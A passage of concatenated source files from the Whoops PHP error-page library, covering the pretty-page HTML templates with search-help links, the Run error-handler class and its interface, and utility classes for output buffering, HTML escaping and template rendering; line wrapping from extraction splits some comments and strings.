M-227,14h-4v-2h4V14z"/></g></svg>
</a>
</li>
<?php endif ?>
<li>
<a rel="noopener noreferrer" target="_blank"
href="https://google.com/search?q=<?php echo
urlencode(implode('\\', $name).' '.$message)
?>" title="Search for help on Google.">
<!-- Google icon by Alfredo H, from
https://www.iconfinder.com/alfredoh -->
<!-- Creative Commons (Attribution 3.0 Unported) -->
<!-- http://creativecommons.org/licenses/by/3.0/ -->
<svg class="google" height="16"
viewBox="0 0 512 512" width="16"
xmlns="http://www.w3.org/2000/svg">
<path d="M457.732 216.625c2.628 14.04 4.063 28.743
4.063 44.098C461.795 380.688 381.48 466 260.205 466c-116.024
0-210-93.977-210-210s93.976-210 210-210c56.703 0 104.076 20.867 140.44
54.73l-59.205 59.197v-.135c-22.046-21.002-50-31.762-81.236-31.762-69.297
0-125.604 58.537-125.604 127.84 0 69.29 56.306 127.97 125.604 127.97 62.87
0 105.653-35.966 114.46-85.313h-114.46v-81.902h197.528z"/>
</svg>
</a>
</li>
<li>
<a rel="noopener noreferrer" target="_blank"
href="https://duckduckgo.com/?q=<?php echo
urlencode(implode('\\', $name).' '.$message)
?>" title="Search for help on DuckDuckGo.">
<!-- DuckDuckGo icon by IconBaandar Team, from
https://www.iconfinder.com/iconbaandar -->
<!-- Creative Commons (Attribution 3.0 Unported) -->
<!-- http://creativecommons.org/licenses/by/3.0/ -->
<svg class="duckduckgo" height="16"
viewBox="150 150 1675 1675" width="16"
xmlns="http://www.w3.org/2000/svg">
<path d="M1792 1024c0 204.364-80.472 398.56-224.955
543.04-144.483 144.48-338.68 224.95-543.044 224.95-204.36
0-398.56-80.47-543.04-224.95-144.48-144.482-224.95-338.676-224.95-543.04
0-204.365 80.47-398.562 224.96-543.045C625.44 336.47 819.64 256 1024
256c204.367 0 398.565 80.47 543.05 224.954C1711.532 625.437 1792 819.634
1792 1024zm-270.206 497.787C1654.256 1389.327 1728 1211.36 1728
1024c0-187.363-73.74-365.332-206.203-497.796C1389.332 393.74 1211.363 320
1024 320s-365.33 73.742-497.795 206.205C393.742 658.67 320 836.637 320
1024c0 187.36 73.744 365.326 206.206 497.787C658.67 1654.25 836.638 1727.99
1024 1727.99c187.362 0 365.33-73.74 497.794-206.203z"/>
<path d="M1438.64
1177.41c0-.03-.005-.017-.01.004l.01-.004z"/>
<path d="M1499.8
976.878c.03-.156-.024-.048-.11.107l.11-.107z"/>
<path d="M1105.19
991.642zm-68.013-376.128c-8.087-10.14-18.028-19.965-29.89-29.408-13.29-10.582-29-20.76-47.223-30.443-35.07-18.624-74.482-31.61-115.265-38.046-39.78-6.28-80.84-6.256-120.39.917l1.37
31.562c1.8.164 7.7 3.9 14.36 8.32-20.68 5.94-39.77 14.447-39.48 39.683l.2
17.48 17.3-1.73c29.38-2.95 60.17-2.06 90.32 2.61 9.21 1.42 18.36 3.2 27.38
5.32l-4.33 1.15c-20.45 5.58-38.93 12.52-54.25 20.61-46.28 24.32-75.51
60.85-90.14 108.37-14.14 45.95-14.27 101.81-2.72 166.51l.06.06c15.14 84.57
64.16 316.39 104.11 505.39 19.78 93.59 37.38 176.83 47.14 224.4 3.26 15.84
5.03 31.02 5.52 45.52.3 9.08.09 17.96-.58 26.62-.45 5.8-1.11 11.51-1.96
17.112l31.62 4.75c.71-4.705 1.3-9.494 1.76-14.373 48.964 10.517 99.78 16.05
151.88 16.05 60.68 0 119.61-7.505 175.91-21.64 3.04 6.08 6.08 12.19 9.11
18.32l28.62-14.128c-2.11-4.27-4.235-8.55-6.37-12.84-23.005-46.124-47.498-93.01-68.67-133.534-15.39-29.466-29.01-55.53-39.046-75.58-26.826-53.618-53.637-119.47-68.28-182.368-8.78-37.705-13.128-74.098-10.308-105.627-15.31-6.28-26.69-11.8-31.968-15.59l-.01.015c-14.22-10.2-31.11-28.12-41.82-49.717-8.618-17.376-13.4-37.246-10.147-57.84
3.17-19.84 27.334-46.714 57.843-67.46v-.063c26.554-18.05 58.75-32.506
86.32-34.31 7.835-.51 16.31-1.008 23.99-1.45 33.45-1.95 50.243-2.93
84.475-11.42 10.88-2.697 26.19-6.56 43.53-11.09
2.364-40.7-5.947-87.596-21.04-133.234-22.004-66.53-58.68-131.25-97.627-170.21-12.543-12.55-28.17-22.79-45.9-30.933-16.88-7.753-35.64-13.615-55.436-17.782zm-10.658
178.553s6.77-42.485 58.39-33.977c27.96 4.654 37.89 29.833 37.89
29.833s-25.31-14.46-44.95-14.198c-40.33.53-51.35 18.342-51.35
18.342zm-240.45-18.802c48.49-19.853 72.11 11.298 72.11
11.298s-35.21-15.928-69.46 5.59c-34.19 21.477-32.92 43.452-32.92
43.452s-18.17-40.5 30.26-60.34zm296.5 95.4c0-6.677 2.68-12.694 7.01-17.02
4.37-4.37 10.42-7.074 17.1-7.074 6.73 0 12.79 2.7 17.15 7.05 4.33 4.33 7.01
10.36 7.01 17.05 0 6.74-2.7 12.81-7.07 17.18-4.33 4.33-10.37 7.01-17.1
7.01-6.68 0-12.72-2.69-17.05-7.03-4.36-4.37-7.07-10.43-7.07-17.16zm-268.42
51.27c0-8.535 3.41-16.22 8.93-21.738 5.55-5.55 13.25-8.982 21.81-8.982 8.51
0 16.18 3.415 21.7 8.934 5.55 5.55 8.98 13.25 8.98 21.78 0 8.53-3.44
16.23-8.98 21.79-5.52 5.52-13.19 8.93-21.71 8.93-8.55
0-16.26-3.43-21.82-8.99-5.52-5.52-8.93-13.2-8.93-21.74z"/>
<path d="M1102.48
986.34zm390.074-64.347c-28.917-11.34-74.89-12.68-93.32-3.778-11.5
5.567-35.743 13.483-63.565 21.707-25.75 7.606-53.9 15.296-78.15
21.702-17.69 4.67-33.3 8.66-44.4 11.435-34.92 8.76-52.05 9.77-86.17
11.78-7.84.46-16.48.97-24.48 1.5-28.12 1.86-60.97 16.77-88.05
35.4v.06c-31.12 21.4-55.77 49.12-59.01 69.59-3.32 21.24 1.56 41.74 10.35
59.67 10.92 22.28 28.15 40.77 42.66 51.29l.01-.02c5.38 3.9 16.98 9.6 32.6
16.08 26.03 10.79 63.2 23.76 101.25 34.23 43.6 11.99 89.11 21.05 121.69
20.41 34.26-.69 77.73-10.52 114.54-24.67 22.15-8.52 42.21-18.71 56.88-29.58
17.85-13.22 28.7-28.42
28.4-44.74-.07-3.89-.72-7.63-1.97-11.21l-.02.01c-11.6-33.06-50.37-23.59-105.53-10.12-46.86
11.445-107.94 26.365-169.01
20.434-32.56-3.167-54.45-10.61-67.88-20.133-5.96-4.224-9.93-8.67-12.18-13.11-1.96-3.865-2.68-7.84-2.33-11.714.39-4.42
2.17-9.048 5.1-13.57l-.05-.03c7.86-12.118 23.082-9.72 43.93-6.43 25.91 4.08
58.2 9.172 99.013-3.61 39.63-12.378 87.76-29.9 131.184-47.39 42.405-17.08
80.08-34.078 100.74-46.18 25.46-14.87 37.57-29.428 40.59-42.866
2.725-12.152-.89-22.48-8.903-31.07-5.87-6.29-14.254-11.31-23.956-15.115z"/>
</svg>
</a>
</li>
<li>
<a rel="noopener noreferrer" target="_blank"
href="https://stackoverflow.com/search?q=<?php echo
urlencode(implode('\\', $name).' '.$message)
?>" title="Search for help on Stack Overflow.">
<!-- Stack Overflow icon by Picons.me, from
https://www.iconfinder.com/Picons -->
<!-- Free for commercial use -->
<svg class="stackoverflow" height="16"
viewBox="-1163 1657.697 56.693 56.693" width="16"
xmlns="http://www.w3.org/2000/svg">
<path d="M-1126.04 1689.533l-16.577-9.778 2.088-3.54
16.578 9.778zM-1127.386 1694.635l-18.586-4.996 1.068-3.97 18.586
4.995zM-1127.824 1700.137l-19.165-1.767.378-4.093 19.165 1.767zM-1147.263
1701.293h19.247v4.11h-19.247z"/>
<path d="M-1121.458 1710.947s0
.96-.032.96v.016h-30.796s-.96
0-.96-.016h-.032v-20.03h3.288v16.805h25.244v-16.804h3.288v19.07zM-1130.667
1667.04l10.844 15.903-3.396 2.316-10.843-15.903zM-1118.313 1663.044l3.29
18.963-4.05.703-3.29-18.963z"/>
</svg>
</a>
</li>
</ul>
<span id="plain-exception"><?php echo
$tpl->escape($plain_exception) ?></span>
<button id="copy-button" class="rightButton
clipboard" data-clipboard-text="<?php echo
$tpl->escape($plain_exception) ?>" title="Copy exception
details to clipboard">
COPY
</button>
<button id="hide-error" class="rightButton"
title="Hide error message"
onclick="document.getElementsByClassName('Whoops')[0].style.display
= 'none';">
HIDE
</button>
</div>
</div>
<header>
<?php $tpl->render($header) ?>
</header>
<?php
/**
* Layout template file for Whoops's pretty error output.
*/
?>
<!DOCTYPE html><?php echo $preface; ?>
<html>
<head>
<meta charset="utf-8">
<meta name="robots"
content="noindex,nofollow"/>
<meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no"/>
<title><?php echo $tpl->escape($page_title)
?></title>
<style><?php echo $stylesheet ?></style>
</head>
<body>
<div class="Whoops container">
<div class="stack-container">
<?php $tpl->render($panel_left_outer) ?>
<?php $tpl->render($panel_details_outer) ?>
</div>
</div>
<script><?php echo $prettify ?></script>
<script><?php echo $zepto ?></script>
<script><?php echo $clipboard ?></script>
<script><?php echo $javascript ?></script>
</body>
</html>
<?php $tpl->render($frame_code) ?>
<?php $tpl->render($env_details) ?><div class="panel
details-container cf">
<?php $tpl->render($panel_details) ?>
</div><?php
$tpl->render($header_outer);
$tpl->render($frames_description);
$tpl->render($frames_container);
<div class="panel left-panel cf <?php echo (!$has_frames ?
'empty' : '') ?>">
<?php $tpl->render($panel_left) ?>
</div><?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops;
use InvalidArgumentException;
use Whoops\Exception\ErrorException;
use Whoops\Exception\Inspector;
use Whoops\Handler\CallbackHandler;
use Whoops\Handler\Handler;
use Whoops\Handler\HandlerInterface;
use Whoops\Util\Misc;
use Whoops\Util\SystemFacade;
final class Run implements RunInterface
{
private $isRegistered;
private $allowQuit = true;
private $sendOutput = true;
/**
* @var integer|false
*/
private $sendHttpCode = 500;
/**
* @var HandlerInterface[]
*/
private $handlerQueue = [];
private $silencedPatterns = [];
private $system;
public function __construct(SystemFacade $system = null)
{
$this->system = $system ?: new SystemFacade;
}
/**
* Prepends a handler to the start of the queue
*
* @throws InvalidArgumentException If argument is not callable or
instance of HandlerInterface
* @param Callable|HandlerInterface $handler
* @return Run
* @deprecated use appendHandler and prependHandler instead
*/
public function pushHandler($handler)
{
return $this->prependHandler($handler);
}
/**
* Appends a handler to the end of the queue
*
* @throws InvalidArgumentException If argument is not callable or
instance of HandlerInterface
* @param Callable|HandlerInterface $handler
* @return Run
*/
public function appendHandler($handler)
{
array_push($this->handlerQueue,
$this->resolveHandler($handler));
return $this;
}
/**
* Prepends a handler to the start of the queue
*
* @throws InvalidArgumentException If argument is not callable or
instance of HandlerInterface
* @param Callable|HandlerInterface $handler
* @return Run
*/
public function prependHandler($handler)
{
array_unshift($this->handlerQueue,
$this->resolveHandler($handler));
return $this;
}
/**
* Create a CallbackHandler from callable and throw if handler is
invalid
*
* @throws InvalidArgumentException If argument is not callable or
instance of HandlerInterface
* @param Callable|HandlerInterface $handler
* @return HandlerInterface
*/
private function resolveHandler($handler)
{
if (is_callable($handler)) {
$handler = new CallbackHandler($handler);
}
if (!$handler instanceof HandlerInterface) {
throw new InvalidArgumentException(
"Argument to " . __METHOD__ . " must be a
callable, or instance of "
. "Whoops\\Handler\\HandlerInterface"
);
}
return $handler;
}
/**
* Removes the last handler in the queue and returns it.
* Returns null if there"s nothing else to pop.
* @return null|HandlerInterface
*/
public function popHandler()
{
return array_pop($this->handlerQueue);
}
/**
* Removes the first handler in the queue and returns it.
* Returns null if there"s nothing else to shift.
* @return null|HandlerInterface
*/
public function shiftHandler()
{
return array_shift($this->handlerQueue);
}
/**
* Returns an array with all handlers, in the
* order they were added to the queue.
* @return array
*/
public function getHandlers()
{
return $this->handlerQueue;
}
/**
* Clears all handlers in the handlerQueue, including
* the default PrettyPage handler.
* @return Run
*/
public function clearHandlers()
{
$this->handlerQueue = [];
return $this;
}
/**
* @param \Throwable $exception
* @return Inspector
*/
private function getInspector($exception)
{
return new Inspector($exception);
}
/**
* Registers this instance as an error handler.
* @return Run
*/
public function register()
{
if (!$this->isRegistered) {
// Workaround PHP bug 42098
// https://bugs.php.net/bug.php?id=42098
class_exists("\\Whoops\\Exception\\ErrorException");
class_exists("\\Whoops\\Exception\\FrameCollection");
class_exists("\\Whoops\\Exception\\Frame");
class_exists("\\Whoops\\Exception\\Inspector");
$this->system->setErrorHandler([$this,
self::ERROR_HANDLER]);
$this->system->setExceptionHandler([$this,
self::EXCEPTION_HANDLER]);
$this->system->registerShutdownFunction([$this,
self::SHUTDOWN_HANDLER]);
$this->isRegistered = true;
}
return $this;
}
/**
* Unregisters all handlers registered by this Whoops\Run instance
* @return Run
*/
public function unregister()
{
if ($this->isRegistered) {
$this->system->restoreExceptionHandler();
$this->system->restoreErrorHandler();
$this->isRegistered = false;
}
return $this;
}
/**
* Should Whoops allow Handlers to force the script to quit?
* @param bool|int $exit
* @return bool
*/
public function allowQuit($exit = null)
{
if (func_num_args() == 0) {
return $this->allowQuit;
}
return $this->allowQuit = (bool) $exit;
}
/**
* Silence particular errors in particular files
* @param array|string $patterns List or a single regex pattern to
match
* @param int $levels Defaults to E_STRICT | E_DEPRECATED
* @return \Whoops\Run
*/
public function silenceErrorsInPaths($patterns, $levels = 10240)
{
$this->silencedPatterns = array_merge(
$this->silencedPatterns,
array_map(
function ($pattern) use ($levels) {
return [
"pattern" => $pattern,
"levels" => $levels,
];
},
(array) $patterns
)
);
return $this;
}
/**
* Returns an array with silent errors in path configuration
*
* @return array
*/
public function getSilenceErrorsInPaths()
{
return $this->silencedPatterns;
}
/*
* Should Whoops send HTTP error code to the browser if possible?
* Whoops will by default send HTTP code 500, but you may wish to
* use 502, 503, or another 5xx family code.
*
* @param bool|int $code
* @return int|false
*/
public function sendHttpCode($code = null)
{
if (func_num_args() == 0) {
return $this->sendHttpCode;
}
if (!$code) {
return $this->sendHttpCode = false;
}
if ($code === true) {
$code = 500;
}
if ($code < 400 || 600 <= $code) {
throw new InvalidArgumentException(
"Invalid status code '$code', must be 4xx
or 5xx"
);
}
return $this->sendHttpCode = $code;
}
/**
* Should Whoops push output directly to the client?
* If this is false, output will be returned by handleException
* @param bool|int $send
* @return bool
*/
public function writeToOutput($send = null)
{
if (func_num_args() == 0) {
return $this->sendOutput;
}
return $this->sendOutput = (bool) $send;
}
/**
* Handles an exception, ultimately generating a Whoops error
* page.
*
* @param \Throwable $exception
* @return string Output generated by handlers
*/
public function handleException($exception)
{
// Walk the registered handlers in the reverse order
// they were registered, and pass off the exception
$inspector = $this->getInspector($exception);
// Capture output produced while handling the exception,
// we might want to send it straight away to the client,
// or return it silently.
$this->system->startOutputBuffering();
// Just in case there are no handlers:
$handlerResponse = null;
$handlerContentType = null;
try {
foreach ($this->handlerQueue as $handler) {
$handler->setRun($this);
$handler->setInspector($inspector);
$handler->setException($exception);
// The HandlerInterface does not require an Exception
passed to handle()
// and neither of our bundled handlers use it.
// However, 3rd party handlers may have already relied on
this parameter,
// and removing it would be possibly breaking for users.
$handlerResponse = $handler->handle($exception);
// Collect the content type for possible sending in the
headers.
$handlerContentType = method_exists($handler,
'contentType') ? $handler->contentType() : null;
if (in_array($handlerResponse, [Handler::LAST_HANDLER,
Handler::QUIT])) {
// The Handler has handled the exception in some way,
and
// wishes to quit execution (Handler::QUIT), or skip
any
// other handlers (Handler::LAST_HANDLER). If
$this->allowQuit
// is false, Handler::QUIT behaves like
Handler::LAST_HANDLER
break;
}
}
$willQuit = $handlerResponse == Handler::QUIT &&
$this->allowQuit();
} finally {
$output = $this->system->cleanOutputBuffer();
}
// If we're allowed to, send output generated by handlers
directly
// to the output, otherwise, and if the script doesn't quit,
return
// it so that it may be used by the caller
if ($this->writeToOutput()) {
// @todo Might be able to clean this up a bit better
if ($willQuit) {
// Cleanup all other output buffers before sending our
output:
while ($this->system->getOutputBufferLevel() > 0)
{
$this->system->endOutputBuffering();
}
// Send any headers if needed:
if (Misc::canSendHeaders() && $handlerContentType)
{
header("Content-Type:
{$handlerContentType}");
}
}
$this->writeToOutputNow($output);
}
if ($willQuit) {
// HHVM fix for https://github.com/facebook/hhvm/issues/4055
$this->system->flushOutputBuffer();
$this->system->stopExecution(1);
}
return $output;
}
/**
* Converts generic PHP errors to \ErrorException
* instances, before passing them off to be handled.
*
* This method MUST be compatible with set_error_handler.
*
* @param int $level
* @param string $message
* @param string $file
* @param int $line
*
* @return bool
* @throws ErrorException
*/
public function handleError($level, $message, $file = null, $line =
null)
{
if ($level & $this->system->getErrorReportingLevel()) {
foreach ($this->silencedPatterns as $entry) {
$pathMatches = (bool)
preg_match($entry["pattern"], $file);
$levelMatches = $level & $entry["levels"];
if ($pathMatches && $levelMatches) {
// Ignore the error, abort handling
// See https://github.com/filp/whoops/issues/418
return true;
}
}
// XXX we pass $level for the "code" param only for
BC reasons.
// see https://github.com/filp/whoops/issues/267
$exception = new ErrorException($message, /*code*/ $level,
/*severity*/ $level, $file, $line);
if ($this->canThrowExceptions) {
throw $exception;
} else {
$this->handleException($exception);
}
// Do not propagate errors which were already handled by
Whoops.
return true;
}
// Propagate error to the next handler, allows error_get_last() to
// work on silenced errors.
return false;
}
/**
* Special case to deal with Fatal errors and the like.
*/
public function handleShutdown()
{
// If we reached this step, we are in shutdown handler.
// An exception thrown in a shutdown handler will not be propagated
// to the exception handler. Pass that information along.
$this->canThrowExceptions = false;
$error = $this->system->getLastError();
if ($error && Misc::isLevelFatal($error['type']))
{
// If there was a fatal error,
// it was not handled in handleError yet.
$this->allowQuit = false;
$this->handleError(
$error['type'],
$error['message'],
$error['file'],
$error['line']
);
}
}
/**
* In certain scenarios, like in shutdown handler, we can not throw
exceptions
* @var bool
*/
private $canThrowExceptions = true;
/**
* Echo something to the browser
* @param string $output
* @return $this
*/
private function writeToOutputNow($output)
{
if ($this->sendHttpCode() &&
\Whoops\Util\Misc::canSendHeaders()) {
$this->system->setHttpResponseCode(
$this->sendHttpCode()
);
}
echo $output;
return $this;
}
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops;
use InvalidArgumentException;
use Whoops\Exception\ErrorException;
use Whoops\Handler\HandlerInterface;
interface RunInterface
{
const EXCEPTION_HANDLER = "handleException";
const ERROR_HANDLER = "handleError";
const SHUTDOWN_HANDLER = "handleShutdown";
/**
* Pushes a handler to the end of the stack
*
* @throws InvalidArgumentException If argument is not callable or
instance of HandlerInterface
* @param Callable|HandlerInterface $handler
* @return Run
*/
public function pushHandler($handler);
/**
* Removes the last handler in the stack and returns it.
* Returns null if there"s nothing else to pop.
*
* @return null|HandlerInterface
*/
public function popHandler();
/**
* Returns an array with all handlers, in the
* order they were added to the stack.
*
* @return array
*/
public function getHandlers();
/**
* Clears all handlers in the handlerStack, including
* the default PrettyPage handler.
*
* @return Run
*/
public function clearHandlers();
/**
* Registers this instance as an error handler.
*
* @return Run
*/
public function register();
/**
* Unregisters all handlers registered by this Whoops\Run instance
*
* @return Run
*/
public function unregister();
/**
* Should Whoops allow Handlers to force the script to quit?
*
* @param bool|int $exit
* @return bool
*/
public function allowQuit($exit = null);
/**
* Silence particular errors in particular files
*
* @param array|string $patterns List or a single regex pattern to
match
* @param int $levels Defaults to E_STRICT | E_DEPRECATED
* @return \Whoops\Run
*/
public function silenceErrorsInPaths($patterns, $levels = 10240);
/**
* Should Whoops send HTTP error code to the browser if possible?
* Whoops will by default send HTTP code 500, but you may wish to
* use 502, 503, or another 5xx family code.
*
* @param bool|int $code
* @return int|false
*/
public function sendHttpCode($code = null);
/**
* Should Whoops push output directly to the client?
* If this is false, output will be returned by handleException
*
* @param bool|int $send
* @return bool
*/
public function writeToOutput($send = null);
/**
* Handles an exception, ultimately generating a Whoops error
* page.
*
* @param \Throwable $exception
* @return string Output generated by handlers
*/
public function handleException($exception);
/**
* Converts generic PHP errors to \ErrorException
* instances, before passing them off to be handled.
*
* This method MUST be compatible with set_error_handler.
*
* @param int $level
* @param string $message
* @param string $file
* @param int $line
*
* @return bool
* @throws ErrorException
*/
public function handleError($level, $message, $file = null, $line =
null);
/**
* Special case to deal with Fatal errors and the like.
*/
public function handleShutdown();
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops\Util;
/**
* Used as output callable for
Symfony\Component\VarDumper\Dumper\HtmlDumper::dump()
*
* @see TemplateHelper::dump()
*/
class HtmlDumperOutput
{
private $output;
public function __invoke($line, $depth)
{
// A negative depth means "end of dump"
if ($depth >= 0) {
// Adds a two spaces indentation to the line
$this->output .= str_repeat(' ', $depth) . $line
. "\n";
}
}
public function getOutput()
{
return $this->output;
}
public function clear()
{
$this->output = null;
}
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops\Util;
class Misc
{
/**
* Can we at this point in time send HTTP headers?
*
* Currently this checks if we are even serving an HTTP request,
* as opposed to running from a command line.
*
* If we are serving an HTTP request, we check if it's not too
late.
*
* @return bool
*/
public static function canSendHeaders()
{
return isset($_SERVER["REQUEST_URI"]) &&
!headers_sent();
}
public static function isAjaxRequest()
{
return (
!empty($_SERVER['HTTP_X_REQUESTED_WITH'])
&&
strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) ==
'xmlhttprequest');
}
/**
* Check, if possible, that this execution was triggered by a command
line.
* @return bool
*/
public static function isCommandLine()
{
return PHP_SAPI == 'cli';
}
/**
* Translate ErrorException code into the represented constant.
*
* @param int $error_code
* @return string
*/
public static function translateErrorCode($error_code)
{
$constants = get_defined_constants(true);
if (array_key_exists('Core', $constants)) {
foreach ($constants['Core'] as $constant =>
$value) {
if (substr($constant, 0, 2) == 'E_' &&
$value == $error_code) {
return $constant;
}
}
}
return "E_UNKNOWN";
}
/**
* Determine if an error level is fatal (halts execution)
*
* @param int $level
* @return bool
*/
public static function isLevelFatal($level)
{
$errors = E_ERROR;
$errors |= E_PARSE;
$errors |= E_CORE_ERROR;
$errors |= E_CORE_WARNING;
$errors |= E_COMPILE_ERROR;
$errors |= E_COMPILE_WARNING;
return ($level & $errors) > 0;
}
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops\Util;
class SystemFacade
{
/**
* Turns on output buffering.
*
* @return bool
*/
public function startOutputBuffering()
{
return ob_start();
}
/**
* @param callable $handler
* @param int $types
*
* @return callable|null
*/
public function setErrorHandler(callable $handler, $types =
'use-php-defaults')
{
// Since PHP 5.4 the constant E_ALL contains all errors (even
E_STRICT)
if ($types === 'use-php-defaults') {
$types = E_ALL;
}
return set_error_handler($handler, $types);
}
/**
* @param callable $handler
*
* @return callable|null
*/
public function setExceptionHandler(callable $handler)
{
return set_exception_handler($handler);
}
/**
* @return void
*/
public function restoreExceptionHandler()
{
restore_exception_handler();
}
/**
* @return void
*/
public function restoreErrorHandler()
{
restore_error_handler();
}
/**
* @param callable $function
*
* @return void
*/
public function registerShutdownFunction(callable $function)
{
register_shutdown_function($function);
}
/**
* @return string|false
*/
public function cleanOutputBuffer()
{
return ob_get_clean();
}
/**
* @return int
*/
public function getOutputBufferLevel()
{
return ob_get_level();
}
/**
* @return bool
*/
public function endOutputBuffering()
{
return ob_end_clean();
}
/**
* @return void
*/
public function flushOutputBuffer()
{
flush();
}
/**
* @return int
*/
public function getErrorReportingLevel()
{
return error_reporting();
}
/**
* @return array|null
*/
public function getLastError()
{
return error_get_last();
}
/**
* @param int $httpCode
*
* @return int
*/
public function setHttpResponseCode($httpCode)
{
return http_response_code($httpCode);
}
/**
* @param int $exitStatus
*/
public function stopExecution($exitStatus)
{
exit($exitStatus);
}
}
<?php
/**
* Whoops - php errors for cool kids
* @author Filipe Dobreira <http://github.com/filp>
*/
namespace Whoops\Util;
use Symfony\Component\VarDumper\Caster\Caster;
use Symfony\Component\VarDumper\Cloner\AbstractCloner;
use Symfony\Component\VarDumper\Cloner\VarCloner;
use Symfony\Component\VarDumper\Dumper\HtmlDumper;
use Whoops\Exception\Frame;
/**
* Exposes useful tools for working with/in templates
*/
class TemplateHelper
{
/**
* An array of variables to be passed to all templates
* @var array
*/
private $variables = [];
/**
* @var HtmlDumper
*/
private $htmlDumper;
/**
* @var HtmlDumperOutput
*/
private $htmlDumperOutput;
/**
* @var AbstractCloner
*/
private $cloner;
/**
* @var string
*/
private $applicationRootPath;
public function __construct()
{
// root path for ordinary composer projects
$this->applicationRootPath =
dirname(dirname(dirname(dirname(dirname(dirname(__DIR__))))));
}
/**
* Escapes a string for output in an HTML document
*
* @param string $raw
* @return string
*/
public function escape($raw)
{
$flags = ENT_QUOTES;
// HHVM has all constants defined, but only ENT_IGNORE
// works at the moment
if (defined("ENT_SUBSTITUTE") &&
!defined("HHVM_VERSION")) {
$flags |= ENT_SUBSTITUTE;
} else {
// This is for 5.3.
// The documentation warns of a potential security issue,
// but it seems it does not apply in our case, because
// we do not blacklist anything anywhere.
$flags |= ENT_IGNORE;
}
$raw = str_replace(chr(9), ' ', $raw);
return htmlspecialchars($raw, $flags, "UTF-8");
}
/**
* Escapes a string for output in an HTML document, but preserves
* URIs within it, and converts them to clickable anchor elements.
*
* @param string $raw
* @return string
*/
public function escapeButPreserveUris($raw)
{
$escaped = $this->escape($raw);
return preg_replace(
"@([A-z]+?://([-\w\.]+[-\w])+(:\d+)?(/([\w/_\.#-]*(\?\S+)?[^\.\s])?)?)@",
"<a href=\"$1\" target=\"_blank\"
rel=\"noreferrer noopener\">$1</a>",
$escaped
);
}
/**
* Makes sure that the given string breaks on the delimiter.
*
* @param string $delimiter
* @param string $s
* @return string
*/
public function breakOnDelimiter($delimiter, $s)
{
$parts = explode($delimiter, $s);
foreach ($parts as &$part) {
$part = '<span class="delimiter">' .
$part . '</span>';
}
return implode($delimiter, $parts);
}
/**
* Replace the part of the path that all files have in common.
*
* @param string $path
* @return string
*/
public function shorten($path)
{
if ($this->applicationRootPath != "/") {
$path = str_replace($this->applicationRootPath,
'…', $path);
}
return $path;
}
private function getDumper()
{
if (!$this->htmlDumper &&
class_exists('Symfony\Component\VarDumper\Cloner\VarCloner')) {
$this->htmlDumperOutput = new HtmlDumperOutput();
// re-use the same var-dumper instance, so it won't
re-render the global styles/scripts on each dump.
$this->htmlDumper = new
HtmlDumper($this->htmlDumperOutput);
$styles = [
'default' => 'color:#FFFFFF;
line-height:normal; font:12px "Inconsolata", "Fira
Mono", "Source Code Pro", Monaco, Consolas, "Lucida
Console", monospace !important; word-wrap: break-word; white-space:
pre-wrap; position:relative; z-index:99999; word-break: normal',
'num' => 'color:#BCD42A',
'const' => 'color: #4bb1b1;',
'str' => 'color:#BCD42A',
'note' => 'color:#ef7c61',
'ref' => 'color:#A0A0A0',
'public' => 'color:#FFFFFF',
'protected' => 'color:#FFFFFF',
'private' => 'color:#FFFFFF',
'meta' => 'color:#FFFFFF',
'key' => 'color:#BCD42A',
'index' => 'color:#ef7c61',
];
$this->htmlDumper->setStyles($styles);
}
return $this->htmlDumper;
}
/**
* Format the given value into a human readable string.
*
* @param mixed $value
* @return string
*/
public function dump($value)
{
$dumper = $this->getDumper();
if ($dumper) {
// re-use the same DumpOutput instance, so it won't
re-render the global styles/scripts on each dump.
// exclude verbose information (e.g. exception stack traces)
if
(class_exists('Symfony\Component\VarDumper\Caster\Caster')) {
$cloneVar = $this->getCloner()->cloneVar($value,
Caster::EXCLUDE_VERBOSE);
// Symfony VarDumper 2.6 Caster class dont exist.
} else {
$cloneVar = $this->getCloner()->cloneVar($value);
}
$dumper->dump(
$cloneVar,
$this->htmlDumperOutput
);
$output = $this->htmlDumperOutput->getOutput();
$this->htmlDumperOutput->clear();
return $output;
}
return htmlspecialchars(print_r($value, true));
}
/**
* Format the args of the given Frame as a human readable html string
*
* @param Frame $frame
* @return string the rendered html
*/
public function dumpArgs(Frame $frame)
{
// we support frame args only when the optional dumper is available
if (!$this->getDumper()) {
return '';
}
$html = '';
$numFrames = count($frame->getArgs());
if ($numFrames > 0) {
$html = '<ol class="linenums">';
foreach ($frame->getArgs() as $j => $frameArg) {
$html .= '<li>'. $this->dump($frameArg)
.'</li>';
}
$html .= '</ol>';
}
return $html;
}
/**
* Convert a string to a slug version of itself
*
* @param string $original
* @return string
*/
public function slug($original)
{
$slug = str_replace(" ", "-", $original);
$slug = preg_replace('/[^\w\d\-\_]/i', '',
$slug);
return strtolower($slug);
}
/**
* Given a template path, render it within its own scope. This
* method also accepts an array of additional variables to be
* passed to the template.
*
* @param string $template
* @param array $additionalVariables
*/
public function render($template, array $additionalVariables = null)
{
$variables = $this->getVariables();
// Pass the helper to the template:
$variables["tpl"] = $this;
if ($additionalVariables !== null) {
$variables = array_replace($variables, $additionalVariables);
}
call_user_func(function () {
extract(func_get_arg(1));
require func_get_arg(0);
}, $template, $variables);
}
/**
* Sets the variables to be passed to all templates rendered
* by this template helper.
*
* @param array $variables
*/
public function setVariables(array $variables)
{
$this->variables = $variables;
}
/**
* Sets a single template variable, by its name:
*
* @param string $variableName
* @param mixed $variableValue
*/
public function setVariable($variableName, $variableValue)
{
$this->variables[$variableName] = $variableValue;
}
/**
* Gets a single template variable, by its name, or
* $defaultValue if the variable does not exist
*
* @param string $variableName
* @param mixed $defaultValue
* @return mixed
*/
public function getVariable($variableName, $defaultValue = null)
{
return isset($this->variables[$variableName]) ?
$this->variables[$variableName] : $defaultValue;
}
/**
* Unsets a single template variable, by its name
*
* @param string $variableName
*/
public function delVariable($variableName)
{
unset($this->variables[$variableName]);
}
/**
* Returns all variables for this helper
*
* @return array
*/
public function getVariables()
{
return $this->variables;
}
/**
